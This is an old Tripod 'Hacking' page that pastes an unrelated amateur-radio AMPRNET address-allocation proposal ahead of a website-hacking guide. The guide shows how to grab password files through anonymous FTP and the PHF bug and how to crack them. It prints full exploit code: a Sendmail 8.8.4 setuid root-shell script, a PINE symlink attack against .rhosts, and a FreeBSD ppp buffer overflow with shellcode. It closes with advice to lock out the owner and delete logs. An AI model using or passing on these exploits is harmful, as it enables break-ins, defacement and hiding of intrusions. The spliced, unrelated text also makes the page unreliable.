Make your own free website on Tripod.com

Hacking
Home | Hackers black book | HACKING | Page Title | Cook book | COOKBOOK

This is the home page.

Why hack out of boredom or for fun 
 JDs code  does  NOT  currently  support  the  subnetwork
        aspects of the scheme but will do so in the future.   There is no
        real  reason  for  any national coordination of  these  addresses
        until  actual  networks or at  least  geographically  coordinated
        groups of experimenters are formed.
             I  have offered to issue and keep track of SUBNET  addresses
        and  their  "owners"  who are  presumably  responsible  *NETWORK*
        implementors and managers.
             The  basic premise behind the proposed plan is that  amateur
        radio  networks will be politically defined.   The plan is  based
        upon  the  presumption  that current voice networks  serve  as  a
        proper  analog by which to predict general characteristics of the
        as yet unconstructed digital networks.   Political entities  will
        build networks; funded, controlled, maintained and used primarily
        by their own members and guests.
             Each  of these separately managed networks should be  viewed
        as  a  subnetwork  of AMPRNET (with the  idea  being  to  somehow
        rationally  partition the 044.xxx.xxx.xxx AMPRNET address space). 
        Each  subnetwork within AMPRNET will maintain routing tables  for
        its  own  constituents.   Each will provide its own hosts  (TACs,
        Gateways, i.e. the mechanism by which users with simple terminals
        and AX25 level 2 boxes will access network resources),  switches,
        rules  (network  administration),  security  measures  and  quite
        possibly its own link level protocols.
             The  natural  limitations on span of control  will  probably
        limit  the  service  area of each of  these  networks.   This  is
        another factor leading to the partitioning of the AMPRNET address
        space with respect to separate subnetworks.
             This  partitioning  of  the  address space  will  allow  for
        much  simplified  routing tables in each  host.   Internetworking
        gateways will connect these independently controlled subnetworks.
        Each  gateway will maintain routing tables only for  local  hosts
        and for gateways to other networks.  Hosts and  relay switches on
        a   given  subnet  will  need  to  maintain  routing  information
        regarding  only  members  of that subnet and  gateways  to  other
        networks.   The  required routing tables should prove to be  very
        manageable  and make any kind of geographically  based  hueristic
        addressing schemes such as ZIP codes, area codes etc. moot.
 
 
             I  would  also  like to propose that we  coordinate  logical
        network  names and their corresponding addresses based  on  these
        political   network  subdivisions.    The  concept  of  a  naming
        convention  which maps directly into an IP address is purely  for
        the  convenience  of  network developers and  is  not  considered
        necessary.  There is,  however, some good reasoning behind making
        network and host names hierarchical and meaningful to end  users. 
        It  will  considerably aid in bootstrapping the initial  networks
        and in being comprehensible to the non-network folks who will  be
        the  primary  users  of these networks.   The  naming  convention
        proposed   is  of  the   form   USERID@HOST.SUBNET[.AMPRNET.RES]. 
        WESTNET,  SBARCnet  (Santa  Barbara ARC) and  GFRN-net  represent
        three  hypothetical  networks  with which this  writer  could  be
        involved, perhaps as a provider of gateway and/or host services.
             Each  of  these  subnetwork entities could have  a  distinct
        address  and  perhaps several internally  administered  host/user
        addresses.
             [NOTE:  Throughout this paper,  Host or Host/User represents
             any  host  or any user running IP protocols that has  direct
             network  access.  Also,  for the purposes of  the  following
             example,   WA6JPR  is  not  a  network  address,  rather  it
             represents  a user-id on a local host.   It is the  writer's
             opinion that the majority of packet users for the forseeable
             future  will  be using simple TNCs connected  to  hosts  via
             AX.25 level 2 protocols.]
             WA6JPR  may  be "a user" on hosts on more than  one  network
        such  that  a station in Washington D.C.,logged onto  an  AMPRNET
        host,    may    send    internet    traffic    successfully    to
        WA6JPR@JPRHOST.WESTNET  (this traffic would be routed to  Westnet
        via various AMPRNET gateways and subnetwork level relays and then
        to  a  Santa  Barbara  host known internally  by  Westnet  to  be
        reachable  via  the  W6AMT-2  switch).   Traffic  could  also  be
        directed  to  Wally@SBARC   (presuming  that  the  Santa  Barbara
        Amateur  Radio Club maintains a message server host gatewayed  to
        the AMPRNET catenet).
             Based  upon  the  presumption  of  the   AMPRNET/SUBNET/HOST
        hierarchy,  it  would  seem  that we could easily decide  how  to
        allocate  the 044.xxx.xxx.xxx 24 bit IP address field  such  that
        there  are bits allocated for a sufficient number of individually
        managed  subnetworks  while leaving  a  correspondingly  adequate
        number  of  assignable bits for the internal addressing needs  of
        each individual subnetwork.
             Accordingly,   the  following  is  proposed  as  an  initial
        addressing  scheme and methodology for address assignment.   [Bit
        numbering is per RFC-960 Pg.2]
 

        Bit  8  to  be 0 for USA stations and  1  for  non-USA  stations. 
        [Note.   This  is  not  meant  to imply a  geographic  basis  for
        assignments.   It  is  meant to provide a very  quick  means  for
        segregating FCC controlled participants from non-FCC stations.]
        Bits  9 - 18 to represent politically separate subnetworks within
        AMPRNET.   These  bits  are to be assigned in an  inverse  binary
        sequence   (see   example   below)  beginning  with   the   *MOST
        SIGNIFICANT* bit first.
        Bits 19 - 23 to be unassigned and reserved for future  allocation
        as  network addresses,  to network administrations for internally
        assigned  host  and/or user addresses,  to a combination  of  the
        above or to a completely new intermediate class of addresses.
        Bits  24  - 31  to be used within  politically  separate  AMPRNET
        subnetworks for individual hosts,  switches, workstations etc. as
        determined  by  local  network  administration.    It  would   be
        recommended  that these bits be assigned in binary sequence  with
        the *LEAST SIGNIFICANT* bits being assigned first.
             The  resulting  network  addresses would be as follows:
        AMPRNET
        ||
        || SUBNET----+
        || |         |
        || |         | HOST--+
        || |         | |     |
        44:0...127:000:0...255------- 32,768 addresses assignable
        44:0...127:001:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:031:0...255--+
        44:0...127:032:0...255------- 32,768 addresses assignable
        44:0...127:033:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:063:0...255--+
        44:0...127:064:0...255------- 32,768 addresses assignable
        44:0...127:065:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:095:0...255--+
        44:0...127:096:0...255------- 32,768 addresses assignable
        44:0...127:097:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:127:0...255--+
        44:0...127:128:0...255------- 32,768 addresses assignable
        44:0...127:129:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:159:0...255--+
        44:0...127:160:0...255------- 32,768 addresses assignable
        44:0...127:161:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:191:0...255--+
        44:0...127:192:0...255------- 32,768 addresses assignable
 

        44:0...127:193:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:223:0...255--+
        44:0...127:224:0...255------- 32,768 addresses assignable
        44:0...127:225:0...255--+
                    |           +- 1,015,808 addresses reserved
        44:0...127:255:0...255--+
        44:128:xxx:xxx----------+
            |                   +- 8,388,608 addresses assignable (non USA)
        44:255:xxx:xxx----------+

             The  above  allocation and assignment scheme allows  network
        (subnet)  and  intranet  (host/user) addresses  to  begin  to  be
        immediately assigned to experimenters while retaining the largest
        possible  contiguous  block of unassigned bits whose  assignments
        can  be  defined  in  the future with  little  or  no  impact  on
        previously   allocated   addresses.    The  USER  @  HOSTNAME   .
        SUBNET/ADMINISTRATION  naming scheme represents a  human-friendly
        network  naming  convention  which  maps  easily  into  numerical
        network  addresses.   I  believe that the above  approach  is  in
        general  conformance with the requirements of RFC-950,  "Internet
        Standard Subnetting Procedure."
             The  numbering scheme as initially proposed allows for up to
        1024  AMPRNET  subnetworks  of up to 256 hosts in the  USA  while
        retaining  five  bits  for  future  expansion.    That's  262,144
        individual AMPRNET addressable entities.   If the proposed method
        of  address  assignment is followed and we run out  of  Host/User
        addresses before we run out of network addresses,  we can  simply
        pick  up  the  least  significant reserved bit  and  assign  more
        Host/User addresses.   Conversely,  if network addresses are more
        popular  we  could easily expand by taking the  most  significant
        reserved  bit and allocating it for network  addressing.
        If it should become clear that every user on a network needs  his
        or her own IP address, each network could allocate user blocks in
        256  user  increments from the least significant  reserved  bits. 
        Possible  combinations  are  1024 networks each with up  to  8192
        individually  addressable units or 2048 networks each  with  4096
        hosts/users (8,388,608 individually addressable entities).
  The  following table serves as an example of the  "high  bit
        first"  network  address  assignment table and  some  actual  and
        requested initial networking assignments.
             "this"         44.000.000.xxx      ;special case
             KARNnet        44.064.000.xxx      ;network admin: KA9Q
             BDALEnet       44.032.000.xxx      ;network admin: N3EUA
             DCnet1         44.096.000.xxx      ;network admin: WB6RQN
             SOCALnet1      44.016.000.xxx      ;network admin: WB5EKU
             DCnet2         44.080.000.xxx      ;network admin: WB6RQN
             SOCALnet2      44.048.000.xxx      ;network admin: WA6JPR
             PITTNET        44.112.000.xxx      ;network admin: N3CVL
             next           44.008.000.xxx
             next           44.072.000.xxx
                                .
                                .
                                .
             last           44.063.000.xxx
             "all"          44.127.000.xxx      ;special case
 

Hacking Webpage - The Ultimate guide
Getting the Password File Through FTP
  Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a
  webpage. First you need learn a little about the password file...
  root:User:d7Bdg:1n2HG2:1127:20:Superuser
  TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
  BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
  This is an example of a regular encrypted password file. The Superuser is the part that gives you root.
  That's the main part of the file.
  root:x:0:1:Superuser:/:
  ftp:x:202:102:Anonymous ftp:/u1/ftp:
  ftpadmin:x:203:102:ftp Administrator:/u1/ftp
  This is another example of a password file, only this one has one little difference, it's shadowed.
  Shadowed password files don't let you view or copy the actual encrypted password. This causes problems
  for the password cracker and dictionary maker(both explained later in the text). Below is another
  example of a shadowed password file:
  root:x:0:1:0000-Admin(0000):/:/usr/bin/csh
  daemon:x:1:1:0000-Admin(0000):/:
  bin:x:2:2:0000-Admin(0000):/usr/bin:
  sys:x:3:3:0000-Admin(0000):/:
  adm:x:4:4:0000-Admin(0000):/var/adm:
  lp:x:71:8:0000-lp(0000):/usr/spool/lp:
  smtp:x:0:0:mail daemon user:/:
  uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
  nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
  listen:x:37:4:Network Admin:/usr/net/nls:
  nobody:x:60001:60001:uid no body:/:
  noaccess:x:60002:60002:uid no access:/:
  webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
  pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
  ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
  Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an
  * as well.
  Now that you know a little more about what the actual password file looks like you should be able to
  identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.
  Cracking a password file isn't as complicated as it would seem, although the files vary from system to
  system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find
  a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there
  are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force
  Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking
  prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can
  download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter
  combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be
  added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, "The
  Perfect Drug." As far as we know it will be one of the largest in circulation. 3. You then start up the
  cracker and follow the directions that it gives you.
  The PHF Technique
  Well I wasn't sure if I should include this section due to the fact that everybody already knows it and
  most servers have already found out about the bug and fixed it. But since I have been asked questions
  about the phf I decided to include it.
  The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the
  time). But to do the phf all you do is open a browser and type in the following link:
  You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for
  www.webpage.com you would type:
  and that's it! You just sit back and copy the file(if it works).
  Telnet and Exploits
  Well exploits are the best way of hacking webpages but they are also more complicated then hacking
  through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there
  are many different clients you can just do a netsearch and find everything you need.
  It’s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits
  expose errors or bugs in systems and usually allow you to gain root access. There are many different
  exploits around and you can view each seperately. I’m going to list a few below but the list of exploits is
  endless.
  This exploit is known as Sendmail v.8.8.4
  It creates a suid program /tmp/x that calls shell as root. This is how you set it up:
  cat << _EOF_ >/tmp/x.c
  #define RUN "/bin/ksh"
  #include
  main()
  {
  execl(RUN,RUN,NULL);
  }
  _EOF_
  #
  cat << _EOF_ >/tmp/spawnfish.c
  main()
  {
  execl("/usr/lib/sendmail","/tmp/smtpd",0);
  }
  _EOF_
  #
  cat << _EOF_ >/tmp/smtpd.c
  main()
  {
  setuid(0); setgid(0);
  system("chown root /tmp/x ;chmod 4755 /tmp/x");
  }
  _EOF_
  #
  #
  gcc -O -o /tmp/x /tmp/x.c
  gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
  gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
  #
  /tmp/spawnfish
  kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
  rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
  sleep 5
  if [ -u /tmp/x ] ; then
  echo "leet..."
  /tmp/x
  fi

  and now on to another exploit. I’m going to display the pine exploit through linux. By watching the
  process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the
  lockfile names for each user. Watching the process table once again will now reveal when each user quits
  PINE or runs out of unread messages in their INBOX, effectively deleting the respective lockfile.
  Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will
  cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now
  simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.
  This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:
  hamors (21 19:04) litterbox:~> pine
  catluvr (6 19:06) litterbox:~> ps -aux | grep pine
  catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine
  hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine
  catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors
  - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4
  catluvr (8 19:07) litterbox:~> ps -aux | grep pine
  catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine
  catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4
  hamors (23 19:09) litterbox:~> pine
  catluvr (11 19:10) litterbox:~> ps -aux | grep pine
  catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine
  hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine
  catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4
  catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4
  + +
  catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4
  catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors
  now on to another one, this will be the last one that I’m going to show. Exploitation script for the ppp
  vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on FreeBSD as tested.
  Mess with the numbers if it doesnt work. This is how you set it up:
  v
  #include
  #include
  #include
  #define BUFFER_SIZE 156 /* size of the bufer to overflow */
  #define OFFSET -290 /* number of bytes to jump after the start
  of the buffer */
  long get_esp(void) { __asm__("movl %esp,%eax\n"); }
  main(int argc, char *argv[])
  {
  char *buf = NULL;
  unsigned long *addr_ptr = NULL;
  char *ptr = NULL;
  char execshell[] =
  "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
  "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
  "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */
  "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total
  */
  int i,j;
  buf = malloc(4096);
  /* fill start of bufer with nops */
  i = BUFFER_SIZE-strlen(execshell);
  memset(buf, 0x90, i);
  ptr = buf + i;
  /* place exploit code into the buffer */
  for(i = 0; i < strlen(execshell); i++)
  *ptr++ = execshell[i];
  addr_ptr = (long *)ptr;
  for(i=0;i < (104/4); i++)
  *addr_ptr++ = get_esp() + OFFSET;
  ptr = (char *)addr_ptr;
  *ptr = 0;
  setenv("HOME", buf, 1);
  execl("/usr/sbin/ppp", "ppp", NULL);
  }
  Now that you’ve gotten root "what’s next?" Well the choice is up to you but I would recommend changing
  the password before you delete or change anything. To change their password all you have to do is login
  via telnet and login with your new account. Then you just type: passwd and it will ask you for the old
  password first followed by the new one. Now only you will have the new pw and that should last for a while
  you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own
  exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if
  you are serious about learing ethnical hacking that you download our Unix Bible.

HACKING INFORMATION ON VXHEAVENS

Enter supporting content here

EMAIL ME FOR MORE INFORMATION ON HACKING